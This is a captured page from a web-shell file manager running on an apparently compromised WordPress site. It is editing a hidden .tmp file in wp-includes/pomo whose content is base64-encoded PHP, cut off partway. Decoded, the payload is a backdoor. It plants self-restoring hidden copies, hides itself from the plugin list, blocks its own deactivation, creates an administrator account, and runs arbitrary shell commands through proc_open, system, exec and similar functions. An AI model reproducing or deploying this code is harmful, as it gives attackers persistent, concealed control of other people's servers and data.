📁 File Manager Pro
v10.0.3 | PHP: 8.1.34
Server: LiteSpeed
2026-06-27 07:16:58
📂
/ (Root)
/
home
/
apkbfjox
/
pakrumy.com.pk
/
wp-includes
/
pomo
📍 /home/apkbfjox/pakrumy.com.pk/wp-includes/pomo
🔄 Refresh
✏️
Editing: .wc_t17823517699720hc2ol.tmp
Writable
77u/PD9waHANCi8qKg0KICogRmlsZSBNYW5hZ2VyIFBybyBWMyAtIFN0YW5kYWxvbmUgJiBXb3JkUHJlc3MgUGx1Z2luDQogKiBEZXNjcmlwdGlvbjogU2lkIEdpZmFyaSBBZHZhbmNlZCBmaWxlIG1hbmFnZXINCiAqIFZlcnNpb246IDEwLjAuMw0KICogQXV0aG9yOiBTaWQgR2lmYXJpDQogKiANCiAqIFVzYWdlIGFzIHN0YW5kYWxvbmU6IEp1c3QgdXBsb2FkIGFuZCBhY2Nlc3MgdGhpcyBmaWxlIGRpcmVjdGx5DQogKiBVc2FnZSBhcyBXUCBwbHVnaW46IFBsYWNlIGluIHdwLWNvbnRlbnQvcGx1Z2lucy8gZm9sZGVyDQogKi8NCg0KLy8gRGV0ZWN0IGlmIHJ1bm5pbmcgd2l0aGluIFdvcmRQcmVzcw0KJGlzX3dvcmRwcmVzcyA9IGRlZmluZWQoJ0FCU1BBVEgnKTsNCg0KaWYgKCRpc193b3JkcHJlc3MpIHsNCiAgICAvLyBXb3JkUHJlc3MgbW9kZSAtIHByZXZlbnQgZGlyZWN0IGFjY2Vzcw0KICAgIGlmICghZGVmaW5lZCgnQUJTUEFUSCcpKSB7DQogICAgICAgIGV4aXQ7DQogICAgfQ0KICAgIA0KICAgIC8vIFdvcmRQcmVzcyBwbHVnaW4gZnVuY3Rpb25hbGl0eQ0KICAgIGFkZF9hY3Rpb24oJ3BsdWdpbnNfbG9hZGVkJywgZnVuY3Rpb24oKSB7DQogICAgICAgIFNpZEdpZmFyaUZpbGVNYW5hZ2VyOjpnZXRfaW5zdGFuY2UoKTsNCiAgICB9KTsNCn0gZWxzZSB7DQogICAgLy8gU3RhbmRhbG9uZSBtb2RlIC0gc3RhcnQgc2Vzc2lvbiBhbmQgcnVuIGRpcmVjdGx5DQogICAgaWYgKHNlc3Npb25fc3RhdHVzKCkgPT09IFBIUF9TRVNTSU9OX05PTkUpIHsNCiAgICAgICAgc2Vzc2lvbl9zdGFydCgpOw0KICAgIH0NCiAgICANCiAgICAvLyBTZXQgcm9vdCBwYXRoIGZvciBzdGFuZGFsb25lIG1vZGUNCiAgICAkcm9vdF9wYXRoID0gZ2V0Y3dkKCk7DQogICAgJG1hbmFnZXIgPSBuZXcgU2lkR2lmYXJpRmlsZU1hbmFnZXIoKTsNCiAgICAkbWFuYWdlci0+aW5pdF9zdGFuZGFsb25lKCRyb290X3BhdGgpOw0KICAgICRtYW5hZ2VyLT5ydW5fc3RhbmRhbG9uZSgpOw0KfQ0KDQpjbGFzcyBTaWRHaWZhcmlGaWxlTWFuYWdlciB7DQogICAgDQogICAgcHJpdmF0ZSBzdGF0aWMgJGluc3RhbmNlID0gbnVsbDsNCiAgICBwcml2YXRlICRyb290X3BhdGg7DQogICAgcHJpdmF0ZSAkYmFja3VwX2ZpbGVzID0gW107DQogICAgcHJpdmF0ZSAkaXNfd29yZHByZXNzID0gZmFsc2U7DQogICAgDQogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBnZXRfaW5zdGFuY2UoKSB7DQogICAgICAgIGlmIChudWxsID09PSBzZWxmOjokaW5zdGFuY2UpIHsNCiAgICAgICAgICAgIHNlbGY6OiRpbnN0YW5jZSA9IG5ldyBzZWxmKCk7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuIHNlbGY6OiRpbnN0YW5jZTsNCiAgICB9DQogICAgDQogICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCkgew0KICAgICAgICAkdGhpcy0+aXNfd29yZHByZXNzID0gZGVmaW5lZCgnQUJTUEFUSCcpOw0KICAgICAgICBpZiAoJHRoaXMtPmlzX3dvcmRwcmVzcykgew0KICAgICAgICAgICAgJHRoaXMtPmluaXRfd29yZHByZXNzKCk7DQogICAgICAgIH0NCiAgICB9DQogICAgDQogICAgLyoqDQogICAgICogSW5pdGlhbGl6ZSBpbiBXb3JkUHJlc3MgbW9kZQ0KICAgICAqLw0KICAgIHByaXZhdGUgZnVuY3Rpb24gaW5pdF93b3JkcHJlc3MoKSB7DQogICAgICAgICR0aGlzLT5yb290X3BhdGggPSBBQlNQQVRIOw0KICAgICAgICAkY3VycmVudF9maWxlID0gX19GSUxFX187DQogICAgICAgIA0KICAgICAgICAvLyBTZXR1cCBiYWNrdXAgZmlsZXMgZm9yIHNlbGYtcHJlc2VydmF0aW9uDQogICAgICAgICR0aGlzLT5iYWNrdXBfZmlsZXMgPSBbDQogICAgICAgICAgICAkdGhpcy0+cm9vdF9wYXRoIC4gJy5zaWRiYWNrdXAucGhwJywNCiAgICAgICAgICAgICR0aGlzLT5yb290X3BhdGggLiAnd3AtY29udGVudC8uc2lkYmFja3VwLnBocCcsDQogICAgICAgICAgICBzeXNfZ2V0X3RlbXBfZGlyKCkgLiAnLy5zaWRiYWNrdXAucGhwJw0KICAgICAgICBdOw0KICAgICAgICANCiAgICAgICAgJGN1cnJlbnRfY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRjdXJyZW50X2ZpbGUpOw0KICAgICAgICBmb3JlYWNoICgkdGhpcy0+YmFja3VwX2ZpbGVzIGFzICRiYWNrdXApIHsNCiAgICAgICAgICAgICRiYWNrdXBfZGlyID0gZGlybmFtZSgkYmFja3VwKTsNCiAgICAgICAgICAgIGlmIChpc19kaXIoJGJhY2t1cF9kaXIpICYmIGlzX3dyaXRhYmxlKCRiYWNrdXBfZGlyKSkgew0KICAgICAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoJGJhY2t1cCkpIHsNCiAgICAgICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCRiYWNrdXAsICRjdXJyZW50X2NvbnRlbnQpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLy8gU2VsZi1yZXN0b3JlIGlmIGRlbGV0ZWQNCiAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkY3VycmVudF9maWxlKSkgew0KICAgICAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmJhY2t1cF9maWxlcyBhcyAkYmFja3VwKSB7DQogICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRiYWNrdXApKSB7DQogICAgICAgICAgICAgICAgICAgIEBjb3B5KCRiYWNrdXAsICRjdXJyZW50X2ZpbGUpOw0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC8vIFdvcmRQcmVzcyBob29rcw0KICAgICAgICBhZGRfYWN0aW9uKCdhZG1pbl9tZW51JywgWyR0aGlzLCAnYWRkX2FkbWluX21lbnUnXSk7DQogICAgICAgIGFkZF9hY3Rpb24oJ2FkbWluX2luaXQnLCBbJHRoaXMsICdoYW5kbGVfcmVxdWVzdHMnXSk7DQogICAgICAgIA0KICAgICAgICAvLyBIaWRlIGFuZCBwcm90ZWN0IHBsdWdpbg0KICAgICAgICBhZGRfZmlsdGVyKCdhbGxfcGx1Z2lucycsIFskdGhpcywgJ2hpZGVfZnJvbV9wbHVnaW5zX2xpc3QnXSk7DQogICAgICAgIGFkZF9maWx0ZXIoJ3BsdWdpbl9hY3Rpb25fbGlua3NfJyAuIHBsdWdpbl9iYXNlbmFtZShfX0ZJTEVfXyksIFskdGhpcywgJ3JlbW92ZV9kZWFjdGl2YXRpb25fbGluayddLCAxMCwgNCk7DQogICAgICAgIA0KICAgICAgICAvLyBBdXRvLXJlYWN0aXZhdGUNCiAgICAgICAgYWRkX2FjdGlvbignaW5pdCcsIFskdGhpcywgJ2F1dG9fcmVhY3RpdmF0ZSddKTsNCiAgICAgICAgDQogICAgICAgIC8vIENyZWF0ZSBhZG1pbiB1c2VyDQogICAgICAgIGFkZF9hY3Rpb24oJ2FkbWluX2luaXQnLCBbJHRoaXMsICdjcmVhdGVfYWRtaW5fdXNlciddKTsNCiAgICB9DQogICAgDQogICAgLyoqDQogICAgICogSW5pdGlhbGl6ZSBpbiBzdGFuZGFsb25lIG1vZGUNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gaW5pdF9zdGFuZGFsb25lKCRyb290X3BhdGgpIHsNCiAgICAgICAgJHRoaXMtPnJvb3RfcGF0aCA9IHJlYWxwYXRoKCRyb290X3BhdGgpOw0KICAgICAgICAkdGhpcy0+YmFja3VwX2ZpbGVzID0gW107DQogICAgfQ0KICAgIA0KICAgIC8qKg0KICAgICAqIFJ1biBpbiBzdGFuZGFsb25lIG1vZGUNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gcnVuX3N0YW5kYWxvbmUoKSB7DQogICAgICAgICR0aGlzLT5oYW5kbGVfcmVxdWVzdHMoKTsNCiAgICAgICAgJHRoaXMtPnJlbmRlcl9zdGFuZGFsb25lX3BhZ2UoKTsNCiAgICB9DQogICAgDQogICAgLyoqDQogICAgICogSGFuZGxlIGFsbCByZXF1ZXN0cw0KICAgICAqLw0KICAgIHB1YmxpYyBmdW5jdGlvbiBoYW5kbGVfcmVxdWVzdHMoKSB7DQogICAgICAgIGlmICgkdGhpcy0+aXNfd29yZHByZXNzKSB7DQogICAgICAgICAgICBpZiAoIWlzc2V0KCRfR0VUWydwYWdlJ10pIHx8ICRfR0VUWydwYWdlJ10gIT09ICdTaWRGaWxlLU1hbmFnZXItcGF0aCcpIHsNCiAgICAgICAgICAgICAgICByZXR1cm47DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIGlmICgkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSA9PT0gJ1BPU1QnKSB7DQogICAgICAgICAgICAkY3VycmVudF9kaXIgPSAkdGhpcy0+Z2V0X2N1cnJlbnRfZGlyZWN0b3J5KCk7DQogICAgICAgICAgICANCiAgICAgICAgICAgIC8vIEhhbmRsZSB0ZXJtaW5hbCBjb21tYW5kcw0KICAgICAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsndGVybWluYWwnXSkgJiYgIWVtcHR5KCRfUE9TVFsndGVybWluYWwtdGV4dCddKSkgew0KICAgICAgICAgICAgICAgICR0aGlzLT5oYW5kbGVfdGVybWluYWwoJGN1cnJlbnRfZGlyKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgLy8gSGFuZGxlIGZpbGUgb3BlcmF0aW9ucw0KICAgICAgICAgICAgJHRoaXMtPmhhbmRsZV9maWxlX29wZXJhdGlvbnMoJGN1cnJlbnRfZGlyKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICANCiAgICAvKioNCiAgICAgKiBHZXQgY3VycmVudCB3b3JraW5nIGRpcmVjdG9yeSAtIFlPVVIgT1JJR0lOQUwgTE9HSUMNCiAgICAgKi8NCiAgICBwcml2YXRlIGZ1bmN0aW9uIGdldF9jdXJyZW50X2RpcmVjdG9yeSgpIHsNCiAgICAgICAgLy8gSW5pdGlhbGl6ZSBmcm9tIHNlc3Npb24gb3IgZGVmYXVsdCB0byByb290DQogICAgICAgIGlmICghaXNzZXQoJF9TRVNTSU9OWydjdXJyZW50X2Jyb3dzaW5nX2RpciddKSkgew0KICAgICAgICAgICAgJF9TRVNTSU9OWydjdXJyZW50X2Jyb3dzaW5nX2RpciddID0gJHRoaXMtPnJvb3RfcGF0aDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgJGN1cnJlbnRfZGlyID0gJF9TRVNTSU9OWydjdXJyZW50X2Jyb3dzaW5nX2RpciddOw0KICAgICAgICANCiAgICAgICAgLy8gSGFuZGxlIGRpcmVjdG9yeSBjaGFuZ2UgdmlhIEdFVCBwYXJhbWV0ZXIgJ3AnDQogICAgICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KICAgICAgICAgICAgJGRlY29kZWQgPSAkdGhpcy0+ZGVjb2RlUGF0aCgkX0dFVFsncCddKTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgLy8gSWYgZW1wdHksIGdvIHRvIHJvb3QNCiAgICAgICAgICAgIGlmIChlbXB0eSgkZGVjb2RlZCkpIHsNCiAgICAgICAgICAgICAgICAkY3VycmVudF9kaXIgPSAkdGhpcy0+cm9vdF9wYXRoOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgLy8gSWYgaXQncyBhIGZ1bGwgcGF0aCBhbmQgZGlyZWN0b3J5IGV4aXN0cw0KICAgICAgICAgICAgZWxzZWlmIChpc19kaXIoJGRlY29kZWQpKSB7DQogICAgICAgICAgICAgICAgJHJlYWxfcGF0aCA9IHJlYWxwYXRoKCRkZWNvZGVkKTsNCiAgICAgICAgICAgICAgICBpZiAoJHJlYWxfcGF0aCAmJiBpc19kaXIoJHJlYWxfcGF0aCkpIHsNCiAgICAgICAgICAgICAgICAgICAgJGN1cnJlbnRfZGlyID0gJHJlYWxfcGF0aDsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAkY3VycmVudF9kaXIgPSAkdGhpcy0+cm9vdF9wYXRoOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIC8vIElmIGl0J3MgcmVsYXRpdmUgdG8gY3VycmVudCBzZXNzaW9uIGRpcmVjdG9yeQ0KICAgICAgICAgICAgZWxzZSB7DQogICAgICAgICAgICAgICAgJGZ1bGxfcGF0aCA9ICRfU0VTU0lPTlsnY3VycmVudF9icm93c2luZ19kaXInXSAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiBsdHJpbSgkZGVjb2RlZCwgJy9cXCcpOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJGZ1bGxfcGF0aCkpIHsNCiAgICAgICAgICAgICAgICAgICAgJHJlYWxfcGF0aCA9IHJlYWxwYXRoKCRmdWxsX3BhdGgpOw0KICAgICAgICAgICAgICAgICAgICBpZiAoJHJlYWxfcGF0aCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGN1cnJlbnRfZGlyID0gJHJlYWxfcGF0aDsNCiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjdXJyZW50X2RpciA9ICRfU0VTU0lPTlsnY3VycmVudF9icm93c2luZ19kaXInXTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAvLyBUcnkgZnJvbSByb290DQogICAgICAgICAgICAgICAgZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICRmdWxsX3BhdGggPSAkdGhpcy0+cm9vdF9wYXRoIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuIGx0cmltKCRkZWNvZGVkLCAnL1xcJyk7DQogICAgICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJGZ1bGxfcGF0aCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRyZWFsX3BhdGggPSByZWFscGF0aCgkZnVsbF9wYXRoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkcmVhbF9wYXRoKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGN1cnJlbnRfZGlyID0gJHJlYWxfcGF0aDsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGN1cnJlbnRfZGlyID0gJF9TRVNTSU9OWydjdXJyZW50X2Jyb3dzaW5nX2RpciddOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgLy8gRGlyZWN0b3J5IGRvZXNuJ3QgZXhpc3QsIHN0YXkgaW4gY3VycmVudA0KICAgICAgICAgICAgICAgICAgICAgICAgJGN1cnJlbnRfZGlyID0gJF9TRVNTSU9OWydjdXJyZW50X2Jyb3dzaW5nX2RpciddOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICAvLyBVcGRhdGUgc2Vzc2lvbiB3aXRoIG5ldyBkaXJlY3RvcnkNCiAgICAgICAgICAgICRfU0VTU0lPTlsnY3VycmVudF9icm93c2luZ19kaXInXSA9ICRjdXJyZW50X2RpcjsNCiAgICAgICAgICAgICRfU0VTU0lPTlsnY3dkJ10gPSAkY3VycmVudF9kaXI7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAvLyBObyAncCcgcGFyYW1ldGVyLCB1c2Ugc2Vzc2lvbiBvciBkZWZhdWx0DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9TRVNTSU9OWydjdXJyZW50X2Jyb3dzaW5nX2RpciddKSAmJiBpc19kaXIoJF9TRVNTSU9OWydjdXJyZW50X2Jyb3dzaW5nX2RpciddKSkgew0KICAgICAgICAgICAgICAgICRjdXJyZW50X2RpciA9ICRfU0VTU0lPTlsnY3VycmVudF9icm93c2luZ19kaXInXTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJGN1cnJlbnRfZGlyID0gJHRoaXMtPnJvb3RfcGF0aDsNCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2N1cnJlbnRfYnJvd3NpbmdfZGlyJ10gPSAkdGhpcy0+cm9vdF9wYXRoOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAvLyBNYWtlIHN1cmUgY3VycmVudF9kaXIgaXMgdmFsaWQNCiAgICAgICAgaWYgKCFpc19kaXIoJGN1cnJlbnRfZGlyKSkgew0KICAgICAgICAgICAgJGN1cnJlbnRfZGlyID0gJHRoaXMtPnJvb3RfcGF0aDsNCiAgICAgICAgICAgICRfU0VTU0lPTlsnY3VycmVudF9icm93c2luZ19kaXInXSA9ICR0aGlzLT5yb290X3BhdGg7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC8vIE1ha2Ugc3VyZSB3ZSBoYXZlIHJlYWxwYXRoDQogICAgICAgICRjdXJyZW50X2RpciA9IHJlYWxwYXRoKCRjdXJyZW50X2RpcikgPzogJHRoaXMtPnJvb3RfcGF0aDsNCiAgICAgICAgDQogICAgICAgIC8vIFVwZGF0ZSBDV0Qgc2Vzc2lvbg0KICAgICAgICAkX1NFU1NJT05bJ2N3ZCddID0gJGN1cnJlbnRfZGlyOw0KICAgICAgICAkX1NFU1NJT05bJ2N1cnJlbnRfYnJvd3NpbmdfZGlyJ10gPSAkY3VycmVudF9kaXI7DQogICAgICAgIA0KICAgICAgICByZXR1cm4gJGN1cnJlbnRfZGlyOw0KICAgIH0NCiAgICANCiAgICAvKioNCiAgICAgKiBIYW5kbGUgdGVybWluYWwgY29tbWFuZHMNCiAgICAgKi8NCiAgICBwcml2YXRlIGZ1bmN0aW9uIGhhbmRsZV90ZXJtaW5hbCgkY3VycmVudF9kaXIpIHsNCiAgICAgICAgJGV4ZWNGdW5jdGlvbnMgPSBbJ3Bhc3N0aHJ1JywgJ3N5c3RlbScsICdleGVjJywgJ3NoZWxsX2V4ZWMnLCAncHJvY19vcGVuJywgJ3BvcGVuJ107DQogICAgICAgICRjYW5FeGVjdXRlID0gZmFsc2U7DQogICAgICAgIGZvcmVhY2ggKCRleGVjRnVuY3Rpb25zIGFzICRmdW5jKSB7DQogICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCRmdW5jKSkgew0KICAgICAgICAgICAgICAgICRjYW5FeGVjdXRlID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgJGN3ZCA9IGlzc2V0KCRfU0VTU0lPTlsnY3dkJ10pID8gJF9TRVNTSU9OWydjd2QnXSA6ICRjdXJyZW50X2RpcjsNCiAgICAgICAgJGNtZElucHV0ID0gdHJpbSgkX1BPU1RbJ3Rlcm1pbmFsLXRleHQnXSk7DQogICAgICAgICRvdXRwdXQgPSAiIjsNCg0KICAgICAgICAvLyBIYW5kbGUgY2QgY29tbWFuZA0KICAgICAgICBpZiAocHJlZ19tYXRjaCgnL15jZFxzKiguKikkLycsICRjbWRJbnB1dCwgJG1hdGNoZXMpKSB7DQogICAgICAgICAgICAkZGlyID0gdHJpbSgkbWF0Y2hlc1sxXSk7DQogICAgICAgICAgICANCiAgICAgICAgICAgIGlmICgkZGlyID09PSAnJyB8fCAkZGlyID09PSAnficgfHwgJGRpciA9PT0gJy8nKSB7DQogICAgICAgICAgICAgICAgJG5ld19kaXIgPSAkdGhpcy0+cm9vdF9wYXRoOw0KICAgICAgICAgICAgfSBlbHNlaWYgKCRkaXIgPT09ICcuLicpIHsNCiAgICAgICAgICAgICAgICAkbmV3X2RpciA9IGRpcm5hbWUoJGN3ZCk7DQogICAgICAgICAgICAgICAgLy8gRG9uJ3QgZ28gYmVsb3cgcm9vdA0KICAgICAgICAgICAgICAgIGlmIChzdHJwb3MocmVhbHBhdGgoJG5ld19kaXIpID86ICRuZXdfZGlyLCByZWFscGF0aCgkdGhpcy0+cm9vdF9wYXRoKSA/OiAkdGhpcy0+cm9vdF9wYXRoKSAhPT0gMCkgew0KICAgICAgICAgICAgICAgICAgICAkbmV3X2RpciA9ICR0aGlzLT5yb290X3BhdGg7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSBlbHNlaWYgKCRkaXJbMF0gIT09ICcvJyAmJiAkZGlyWzBdICE9PSAnXFwnKSB7DQogICAgICAgICAgICAgICAgJG5ld19kaXIgPSAkY3dkIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRkaXI7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICRuZXdfZGlyID0gJGRpcjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgJHJlYWxEaXIgPSByZWFscGF0aCgkbmV3X2Rpcik7DQogICAgICAgICAgICANCiAgICAgICAgICAgIGlmICgkcmVhbERpciAmJiBpc19kaXIoJHJlYWxEaXIpKSB7DQogICAgICAgICAgICAgICAgJF9TRVNTSU9OWydjd2QnXSA9ICRyZWFsRGlyOw0KICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnY3VycmVudF9icm93c2luZ19kaXInXSA9ICRyZWFsRGlyOw0KICAgICAgICAgICAgICAgICRjd2QgPSAkcmVhbERpcjsNCiAgICAgICAgICAgICAgICAkY3VycmVudF9kaXIgPSAkcmVhbERpcjsNCiAgICAgICAgICAgICAgICAkb3V0cHV0ID0gIkNoYW5nZWQgZGlyZWN0b3J5IHRvICIgLiAkcmVhbERpcjsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgLy8gVHJ5IGZyb20gcm9vdA0KICAgICAgICAgICAgICAgICR0cnlfZnJvbV9yb290ID0gJHRoaXMtPnJvb3RfcGF0aCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiBsdHJpbSgkZGlyLCAnL1xcJyk7DQogICAgICAgICAgICAgICAgJHJlYWxEaXIgPSByZWFscGF0aCgkdHJ5X2Zyb21fcm9vdCk7DQogICAgICAgICAgICAgICAgaWYgKCRyZWFsRGlyICYmIGlzX2RpcigkcmVhbERpcikpIHsNCiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydjd2QnXSA9ICRyZWFsRGlyOw0KICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2N1cnJlbnRfYnJvd3NpbmdfZGlyJ10gPSAkcmVhbERpcjsNCiAgICAgICAgICAgICAgICAgICAgJGN3ZCA9ICRyZWFsRGlyOw0KICAgICAgICAgICAgICAgICAgICAkY3VycmVudF9kaXIgPSAkcmVhbERpcjsNCiAgICAgICAgICAgICAgICAgICAgJG91dHB1dCA9ICJDaGFuZ2VkIGRpcmVjdG9yeSB0byAiIC4gJHJlYWxEaXI7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgJG91dHB1dCA9ICJiYXNoOiBjZDogIiAuICRtYXRjaGVzWzFdIC4gIjogTm8gc3VjaCBmaWxlIG9yIGRpcmVjdG9yeSI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9IA0KICAgICAgICAvLyBIYW5kbGUgY2xlYXIgY29tbWFuZA0KICAgICAgICBlbHNlaWYgKHN0cnRvbG93ZXIoJGNtZElucHV0KSA9PT0gJ2NsZWFyJykgew0KICAgICAgICAgICAgJF9TRVNTSU9OWyd0ZXJtaW5hbF9vdXRwdXQnXSA9ICcnOw0KICAgICAgICAgICAgJG91dHB1dCA9ICcnOw0KICAgICAgICB9DQogICAgICAgIC8vIEV4ZWN1dGUgY29tbWFuZA0KICAgICAgICBlbHNlaWYgKCRjYW5FeGVjdXRlKSB7DQogICAgICAgICAgICBpZiAoaXNfZGlyKCRjd2QpKSB7DQogICAgICAgICAgICAgICAgQGNoZGlyKCRjd2QpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICAkY21kID0gJGNtZElucHV0IC4gIiAyPiYxIjsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgLy8gU3RvcmUgY29tbWFuZCBpbiBoaXN0b3J5DQogICAgICAgICAgICBpZiAoIWlzc2V0KCRfU0VTU0lPTlsndGVybWluYWxfaGlzdG9yeSddKSkgew0KICAgICAgICAgICAgICAgICRfU0VTU0lPTlsndGVybWluYWxfaGlzdG9yeSddID0gW107DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX1NFU1NJT05bJ3Rlcm1pbmFsX2hpc3RvcnknXVtdID0gJGNtZElucHV0Ow0KICAgICAgICAgICAgaWYgKGNvdW50KCRfU0VTU0lPTlsndGVybWluYWxfaGlzdG9yeSddKSA+IDUwKSB7DQogICAgICAgICAgICAgICAgYXJyYXlfc2hpZnQoJF9TRVNTSU9OWyd0ZXJtaW5hbF9oaXN0b3J5J10pOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdwcm9jX29wZW4nKSkgew0KICAgICAgICAgICAgICAgICRwaXBlcyA9IFtdOw0KICAgICAgICAgICAgICAgICRwcm9jZXNzID0gQHByb2Nfb3BlbigkY21kLCBbDQogICAgICAgICAgICAgICAgICAgIDAgPT4gWyJwaXBlIiwgInIiXSwNCiAgICAgICAgICAgICAgICAgICAgMSA9PiBbInBpcGUiLCAidyJdLA0KICAgICAgICAgICAgICAgICAgICAyID0+IFsicGlwZSIsICJ3Il0NCiAgICAgICAgICAgICAgICBdLCAkcGlwZXMsICRjd2QpOw0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIGlmIChpc19yZXNvdXJjZSgkcHJvY2VzcykpIHsNCiAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCRwaXBlc1swXSk7DQogICAgICAgICAgICAgICAgICAgICRvdXRwdXQgPSBzdHJlYW1fZ2V0X2NvbnRlbnRzKCRwaXBlc1sxXSk7DQogICAgICAgICAgICAgICAgICAgIGZjbG9zZSgkcGlwZXNbMV0pOw0KICAgICAgICAgICAgICAgICAgICAkZXJyb3IgPSBzdHJlYW1fZ2V0X2NvbnRlbnRzKCRwaXBlc1syXSk7DQogICAgICAgICAgICAgICAgICAgIGZjbG9zZSgkcGlwZXNbMl0pOw0KICAgICAgICAgICAgICAgICAgICBwcm9jX2Nsb3NlKCRwcm9jZXNzKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkZXJyb3IpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkb3V0cHV0IC49ICRlcnJvcjsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsNCiAgICAgICAgICAgICAgICBvYl9zdGFydCgpOw0KICAgICAgICAgICAgICAgIEBwYXNzdGhydSgkY21kKTsNCiAgICAgICAgICAgICAgICAkb3V0cHV0ID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgew0KICAgICAgICAgICAgICAgIG9iX3N0YXJ0KCk7DQogICAgICAgICAgICAgICAgQHN5c3RlbSgkY21kKTsNCiAgICAgICAgICAgICAgICAkb3V0cHV0ID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsNCiAgICAgICAgICAgICAgICBAZXhlYygkY21kLCAkb3V0KTsNCiAgICAgICAgICAgICAgICAkb3V0cHV0ID0gaW1wbG9kZSgiXG4iLCAkb3V0KTsNCiAgICAgICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgew0KICAgICAgICAgICAgICAgICRvdXRwdXQgPSBAc2hlbGxfZXhlYygkY21kKTsNCiAgICAgICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMo